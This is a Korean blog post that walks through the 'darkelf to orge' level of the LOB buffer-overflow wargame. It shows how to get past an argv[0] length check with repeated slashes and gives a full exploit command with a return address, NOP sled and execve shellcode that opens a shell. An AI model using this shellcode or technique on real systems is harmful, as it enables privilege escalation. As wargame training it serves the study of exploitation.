ANX1-Z3R0의 불안극복(不安克服)

008. darkelf to orge | anxi0 본문

HACKING/[SYSTEM HACKING] LOB

008. darkelf to orge | anxi0

ANX1Z3R0 2019. 2. 18. 14:35

darkelf to orge,

ogre에 대한 이미지 검색결과

^ ogre (오우거])


철자가 다른걸 찾으면서 알았다.


뭐, 문제푸는덴 상관없으니 바로 한 번 가보자.


흐음..... argv[0]을 체크하네?

쉘에서 입력하는 명령어 부분이다.


쉽게 설명하면


./orge `python -c 'print "A"*44 ~~'`

저 부분이다.

저걸 77자로 만들어주면 되겠네?


그럼 무언가 실행할 때 ./ 로 실행을 하는데,

/ 는 무한히 늘어나도 실행이 잘 된다는 것을 알아야 한다.


.///////////////////////////////////////////orge 이렇게 돼도 된다.


따라서, 파이썬으로 간단하게 

`python -c 'print "."+ "/"*72 + "orge"'` 표현할 수 있게 된다.


그것만 알았으면 뭐


끝났네


때려주자


고려할점


1. 실행 명령어 (argv[0] 체크) 

- 파이썬으로 .////////////////////////////////////////////////////////////////////////orge 이렇게 되게 실행하면 되고


2. 에그헌터 

- 환경변수 따윈 안 쓰고 그래서 ret 뒤에 써주면 되고


3. 영역별 체크 (argv[1] 체크) 

- /xbf 뒤에 공백써주면 되고


4. 버퍼 헌터 

- 이것도 버퍼 초기화니깐 ret 뒤에 써주면 되고


<- `python -c 'print "." + "/"*72 + "orge"'` `python -c 'print "A"*44 + "\xc8\xd8\xff\xbf " + "\x90"*10000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


코어를 보고 ret으로 때릴 주소를 찾는 과정은 이미 너무 많이 했기에 생략....^^


교훈

1. 조건을 나열해서 다 써먹는것이 중요하다

2. 공격을 해보기 전에 검수하자

3. 모르면 계속 해보자

'HACKING > [SYSTEM HACKING] LOB' 카테고리의 다른 글

010. troll to vampire | anxi0  (0) 2019.02.19
009. orge to troll | anxi0  (0) 2019.02.19
007. wolfman to darkelf | anxi0  (0) 2019.02.17
006. orc to wolfman | anxi0  (0) 2019.02.17
005. goblin to orc | anxi0  (0) 2019.02.17
Comments